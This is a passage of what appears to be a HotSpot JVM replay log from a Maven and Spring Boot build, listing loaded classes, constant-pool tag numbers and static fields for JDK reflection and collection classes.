1 1 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 1 12 12 1 12 12 12 1 1 12 1 12 12 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/ref/Reference processPendingLock Ljava/lang/Object; java/lang/Object\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap$SoftEntryReference\ninstanceKlass java/util/ResourceBundle$BundleReference\ninstanceKlass org/eclipse/sisu/inject/MildElements$Soft\ninstanceKlass sun/util/locale/provider/LocaleResources$ResourceReference\ninstanceKlass sun/util/resources/Bundles$BundleReference\ninstanceKlass org/eclipse/sisu/inject/MildKeys$Soft\ninstanceKlass java/lang/invoke/LambdaFormEditor$Transform\ninstanceKlass jdk/internal/ref/SoftCleanable\ninstanceKlass sun/util/locale/LocaleObjectCache$CacheEntry\nciInstanceKlass java/lang/ref/SoftReference 1 1 47 10 9 9 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 12 12 12 12 12 1 1 1\ninstanceKlass com/sun/tools/javac/util/UnsharedNameTable$HashEntry\ninstanceKlass jdk/internal/jimage/ImageBufferCache$BufferReference\ninstanceKlass java/util/ResourceBundle$KeyElementReference\ninstanceKlass sun/nio/ch/FileLockTable$FileLockReference\ninstanceKlass org/eclipse/sisu/inject/MildElements$Weak\ninstanceKlass java/lang/WeakPairMap$WeakRefPeer\ninstanceKlass com/google/common/collect/MapMakerInternalMap$AbstractWeakKeyEntry\ninstanceKlass com/google/common/cache/LocalCache$WeakEntry\ninstanceKlass java/lang/ClassValue$Entry\ninstanceKlass java/util/logging/LogManager$LoggerWeakRef\ninstanceKlass java/util/logging/Level$KnownLevel\ninstanceKlass org/eclipse/sisu/inject/MildKeys$Weak\ninstanceKlass java/lang/invoke/MethodType$ConcurrentWeakInternSet$WeakEntry\ninstanceKlass jdk/internal/ref/WeakCleanable\ninstanceKlass java/util/WeakHashMap$Entry\ninstanceKlass java/lang/ThreadLocal$ThreadLocalMap$Entry\nciInstanceKlass java/lang/ref/WeakReference 1 1 31 10 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\ninstanceKlass java/lang/ref/Finalizer\nciInstanceKlass java/lang/ref/FinalReference 1 1 36 10 100 8 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 12 1 1 1\ninstanceKlass jdk/internal/ref/PhantomCleanable\ninstanceKlass jdk/internal/ref/Cleaner\nciInstanceKlass java/lang/ref/PhantomReference 1 1 30 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1\nciInstanceKlass java/lang/ref/Finalizer 1 1 139 9 10 9 9 9 9 7 10 10 7 11 7 10 100 10 10 10 100 10 10 7 10 7 10 10 10 10 7 10 7 10 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 12 12 12 12 12 12 1 12 12 1 7 12 1 12 1 12 100 12 100 12 1 12 12 1 1 12 12 12 1 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/ref/Finalizer lock Ljava/lang/Object; java/lang/Object\ninstanceKlass org/codehaus/plexus/util/cli/AbstractStreamHandler\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineUtils$ProcessHook\ninstanceKlass com/sun/tools/javac/file/BaseFileManager$1\ninstanceKlass org/apache/maven/shared/utils/logging/MessageUtils$1\ninstanceKlass java/util/logging/LogManager$Cleaner\ninstanceKlass org/apache/maven/shared/utils/logging/MessageUtils$1\ninstanceKlass jdk/internal/misc/InnocuousThread\ninstanceKlass java/lang/ref/Finalizer$FinalizerThread\ninstanceKlass java/lang/ref/Reference$ReferenceHandler\nciInstanceKlass java/lang/Thread 1 1 592 9 9 10 9 9 100 8 10 3 8 3 10 10 9 9 9 9 7 100 8 10 9 10 10 10 10 10 10 9 10 10 9 10 10 9 10 9 10 9 9 10 10 9 10 9 100 10 7 10 8 10 10 10 10 10 10 9 100 10 10 10 10 100 11 9 10 10 10 9 10 9 10 100 10 10 10 11 10 10 10 7 10 10 10 10 10 10 10 10 10 10 100 8 10 10 10 8 10 8 10 8 8 10 10 100 8 10 9 9 10 10 10 9 10 100 10 11 9 9 10 100 10 11 100 10 10 11 10 100 10 10 10 8 9 10 11 10 11 10 7 7 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1 12 1 12 12 12 12 12 12 1 1 1 12 7 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 7 12 12 12 12 7 12 12 12 12 1 1 1 12 12 12 12 12 12 12 1 12 12 12 1 12 7 12 12 12 12 12 12 12 1 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 1 1 12 12 1 12 1 1 1 100 12 100 12 1 12 12 12 12 12 12 1 12 12 12 12 12 1 12 100 12 1 12 12 12 12 1 12 12 100 12 12 12 12 100 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Thread EMPTY_STACK_TRACE [Ljava/lang/StackTraceElement; 0 [Ljava/lang/StackTraceElement;\ninstanceKlass org/springframework/boot/maven/AbstractRunMojo$IsolatedThreadGroup\nciInstanceKlass java/lang/ThreadGroup 1 1 289 10 9 8 9 7 9 9 10 10 10 10 10 9 10 10 9 10 9 9 10 100 10 10 10 9 10 10 9 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 7 10 7 10 9 10 8 10 10 10 10 11 100 9 100 10 8 10 10 8 10 10 10 10 8 10 8 10 8 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 100 12 12 12 7 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 12 12 12 1 12 12 12 12 1 12 1 1 12 12 1 12 12 12 100 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Map 1 1 258 11 11 10 11 11 11 11 7 11 11 100 100 10 11 11 11 11 10 11 11 10 100 10 7 7 10 7 10 100 11 100 11 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 100 12 12 100 12 12 12 1 12 12 1 1 12 12 12 12 12 12 12 100 12 100 12 1 1 12 1 1 1 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/Hashtable\nciInstanceKlass java/util/Dictionary 1 1 36 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass java/util/Properties\nciInstanceKlass java/util/Hashtable 1 1 488 100 10 9 100 100 10 8 10 10 10 10 10 8 10 9 7 9 7 4 10 9 4 10 11 10 10 9 10 100 10 9 10 9 10 10 3 9 9 3 10 10 10 11 11 11 11 100 11 11 10 10 10 9 9 9 10 100 100 10 10 8 10 10 8 10 8 10 7 10 10 100 10 10 100 10 100 10 10 100 11 11 100 10 10 10 11 100 10 11 11 10 10 10 10 10 10 10 100 10 10 8 10 10 100 11 10 10 10 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 12 12 1 1 1 12 12 12 12 7 12 1 12 12 1 12 1 7 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 100 12 12 12 1 12 12 12 12 12 12 12 12 1 1 12 1 12 1 1 100 12 1 12 12 1 12 12 1 1 12 1 12 12 1 100 12 12 1 12 12 12 12 12 12 12 12 100 12 1 12 1 12 100 12 1 100 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/apache/maven/plugin/surefire/SurefireProperties\ninstanceKlass org/apache/maven/plugin/surefire/SurefireProperties\ninstanceKlass org/apache/maven/plugin/surefire/SurefireProperties\ninstanceKlass java/security/Provider\nciInstanceKlass java/util/Properties 1 1 636 10 100 10 7 10 9 9 9 10 10 8 10 7 10 10 8 10 10 9 10 100 3 100 8 10 7 10 10 7 10 10 10 10 10 8 10 10 10 10 10 100 7 10 10 7 8 10 10 10 10 7 10 10 10 11 11 11 7 11 11 10 8 10 10 100 10 10 10 8 10 10 10 100 100 100 10 8 8 10 10 10 7 10 10 10 7 10 10 11 10 8 10 11 8 10 11 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 100 10 11 4 11 10 10 11 10 10 10 100 8 10 10 10 100 6 0 10 11 10 10 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 100 7 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 100 1 1 1 1 1 12 1 12 1 12 12 12 12 7 12 12 1 7 12 1 12 12 1 12 12 12 12 1 1 1 12 1 12 12 1 12 12 12 12 1 12 12 12 12 12 1 1 12 12 1 1 12 12 12 12 1 12 7 12 12 12 1 12 12 12 1 12 12 1 12 100 12 1 12 100 12 12 1 1 1 1 1 12 12 12 1 12 12 1 12 12 7 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 100 12 12 1 1 12 100 12 1 12 100 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/Properties UNSAFE Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield java/util/Properties hexDigit [C 16\nciInstanceKlass java/lang/Module 1 1 910 10 9 10 9 9 9 10 10 10 10 7 10 10 7 11 7 10 10 9 10 10 8 10 10 10 9 11 9 10 9 10 10 100 100 10 10 8 10 10 10 10 10 10 9 10 10 9 10 10 9 11 7 10 9 9 10 7 7 10 100 8 10 10 10 8 10 10 10 10 8 8 10 10 10 18 10 11 9 11 10 100 8 10 7 10 10 11 11 9 11 10 10 9 10 10 10 10 18 11 10 11 10 11 4 10 7 10 11 7 10 11 7 10 7 8 10 10 7 10 10 7 7 10 9 100 10 10 10 10 10 11 7 10 11 10 11 10 10 10 10 10 10 10 10 18 11 11 18 10 10 10 7 10 10 10 9 7 10 10 10 10 10 10 10 10 10 9 18 10 7 100 8 10 10 10 100 10 100 8 100 10 100 100 3 10 100 10 10 10 100 10 10 100 100 10 8 10 10 10 10 10 10 10 7 10 10 10 100 8 10 10 8 10 8 10 10 10 8 10 7 10 10 10 11 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 7 7 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 100 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 12 12 7 12 100 12 12 12 1 12 12 12 12 12 12 7 12 12 7 12 12 1 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 12 1 1 12 12 1 12 12 12 12 1 1 12 12 12 1 15 16 15 16 12 12 12 12 12 7 12 1 1 1 12 12 12 12 12 12 12 12 12 12 7 12 16 15 16 12 12 100 12 12 12 12 12 1 12 1 12 1 7 12 100 1 1 1 12 12 1 12 12 1 1 12 12 1 7 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 16 15 16 12 12 12 15 16 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 16 15 16 12 100 12 1 1 1 12 12 12 1 12 1 1 1 1 1 12 1 12 12 12 1 12 12 1 1 12 1 12 12 7 12 12 12 12 12 1 12 12 1 1 12 100 12 1 12 1 12 12 12 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 100 12 12 12 1 1 100 1 1 1 100 1 1\nstaticfield java/lang/Module ALL_UNNAMED_MODULE Ljava/lang/Module; java/lang/Module\nstaticfield java/lang/Module ALL_UNNAMED_MODULE_SET Ljava/util/Set; java/util/ImmutableCollections$Set12\nstaticfield java/lang/Module EVERYONE_MODULE Ljava/lang/Module; java/lang/Module\nstaticfield java/lang/Module EVERYONE_SET Ljava/util/Set; java/util/ImmutableCollections$Set12\nstaticfield java/lang/Module $assertionsDisabled Z 1\ninstanceKlass java/lang/reflect/Executable\ninstanceKlass java/lang/reflect/Field\nciInstanceKlass java/lang/reflect/AccessibleObject 1 1 405 10 9 10 10 10 10 7 10 10 9 100 10 11 7 100 10 7 100 10 10 7 10 10 7 10 7 10 10 10 10 10 10 10 10 10 10 8 100 10 10 8 10 10 8 8 8 8 8 8 100 10 10 9 10 10 10 18 10 10 10 11 100 100 8 10 10 10 8 10 8 10 10 100 8 10 11 10 10 10 10 10 9 100 10 10 9 10 8 10 8 10 9 100 10 7 10 10 7 9 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 100 12 12 12 7 12 7 12 12 12 12 1 12 12 1 1 12 1 1 12 12 1 12 12 1 12 1 7 12 12 12 12 12 12 12 12 1 1 12 1 12 12 1 1 1 1 1 1 1 12 12 12 12 12 7 12 1 15 16 15 16 12 12 12 1 1 1 12 12 1 12 1 12 1 1 12 12 12 12 12 12 12 12 12 12 100 12 1 100 12 1 12 12 1 1 1 1 7 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/reflect/AccessibleObject reflectionFactory Ljdk/internal/reflect/ReflectionFactory; jdk/internal/reflect/ReflectionFactory\nciInstanceKlass java/lang/reflect/Field 1 1 433 9 10 10 10 9 10 10 10 10 9 9 9 9 9 9 9 100 8 10 7 10 9 9 10 10 10 10 10 10 7 10 10 10 10 10 10 10 100 10 8 10 10 8 10 10 8 8 10 11 9 10 10 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 10 10 10 10 10 9 10 10 10 10 11 10 7 10 10 9 10 11 10 10 9 10 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 12 12 100 12 100 12 12 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 1 12 12 12 12 7 12 12 12 12 12 1 12 12 12 12 12 12 1 1 12 12 1 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 7 12 12 12 1 100 12 7 12 12 7 12 7 12 12 12 7 12 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/reflect/Parameter 1 1 226 10 9 9 9 9 7 10 10 10 100 10 10 11 10 10 10 10 10 8 8 10 10 10 8 10 8 10 9 10 9 10 10 10 10 10 10 10 10 11 10 100 10 10 10 10 10 9 100 10 11 11 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 12 12 12 12 12 1 12 12 100 12 1 12 12 12 100 12 12 12 12 1 1 12 12 12 1 1 12 12 12 12 12 12 12 12 12 100 12 12 100 12 12 1 100 12 12 12 12 12 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/reflect/Constructor\ninstanceKlass java/lang/reflect/Method\nciInstanceKlass java/lang/reflect/Executable 1 1 458 10 10 10 11 10 10 10 10 10 7 8 7 10 10 10 100 8 10 10 10 10 8 8 10 10 100 8 10 8 10 8 11 10 10 11 10 8 8 10 10 100 10 10 10 10 10 10 7 10 10 10 10 10 7 10 7 8 10 10 3 100 8 10 10 10 10 10 8 8 8 9 10 100 8 9 10 10 10 10 10 10 7 10 10 100 10 7 10 10 11 10 10 10 9 10 7 10 10 9 10 10 9 10 9 10 9 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 12 7 12 7 12 12 12 12 12 1 1 1 12 12 1 1 12 7 12 12 12 1 1 12 1 1 12 1 12 1 100 12 12 12 1 1 12 12 1 12 12 7 12 12 12 1 12 12 12 12 7 12 12 1 1 12 12 1 1 12 12 12 12 1 1 1 12 12 1 1 12 12 12 12 12 12 12 12 12 1 100 12 1 7 12 12 12 12 100 12 12 12 12 1 12 12 7 12 7 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/reflect/Method 1 1 441 9 10 10 9 10 10 10 10 9 9 9 9 9 9 9 9 9 9 9 100 8 10 7 10 9 8 10 10 10 10 10 10 10 7 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 100 8 10 10 10 10 10 10 10 11 9 10 10 10 10 11 10 7 10 10 10 10 9 10 10 10 10 10 11 10 7 100 100 10 10 10 100 10 8 10 10 10 10 10 8 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 7 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 7 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 12 12 1 7 12 7 12 12 12 12 12 12 1 12 12 7 12 12 7 12 12 12 12 12 100 12 12 12 12 12 12 12 1 1 1 1 12 12 12 12 12 12 12 100 12 12 12 12 12 12 12 1 12 12 12 12 12 7 12 12 7 12 7 12 7 12 7 12 7 12 1 1 1 12 12 12 1 1 12 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/reflect/Constructor 1 1 415 10 10 9 10 10 10 9 10 9 9 9 9 9 9 9 9 100 8 10 7 10 9 10 10 10 10 10 7 100 8 10 10 10 10 10 100 10 7 10 10 10 10 10 10 10 10 10 100 8 10 10 100 8 10 10 10 10 10 10 10 9 10 10 100 8 10 11 10 10 10 9 10 10 10 10 10 10 10 10 10 100 8 10 10 10 10 10 10 10 11 9 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 7 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 12 12 7 12 7 12 12 12 12 1 1 1 12 12 12 12 1 7 12 12 7 12 12 7 12 12 12 12 12 1 1 12 1 1 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 100 12 100 12 100 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/FieldAccessorImpl\ninstanceKlass jdk/internal/reflect/ConstructorAccessorImpl\ninstanceKlass jdk/internal/reflect/MethodAccessorImpl\nciInstanceKlass jdk/internal/reflect/MagicAccessorImpl 1 1 16 10 100 7 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor95\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor94\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor93\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor92\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor91\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor90\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor89\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor88\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor87\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor86\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor85\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor84\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor83\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor82\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor81\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor80\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor79\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor78\ninstanceKlass 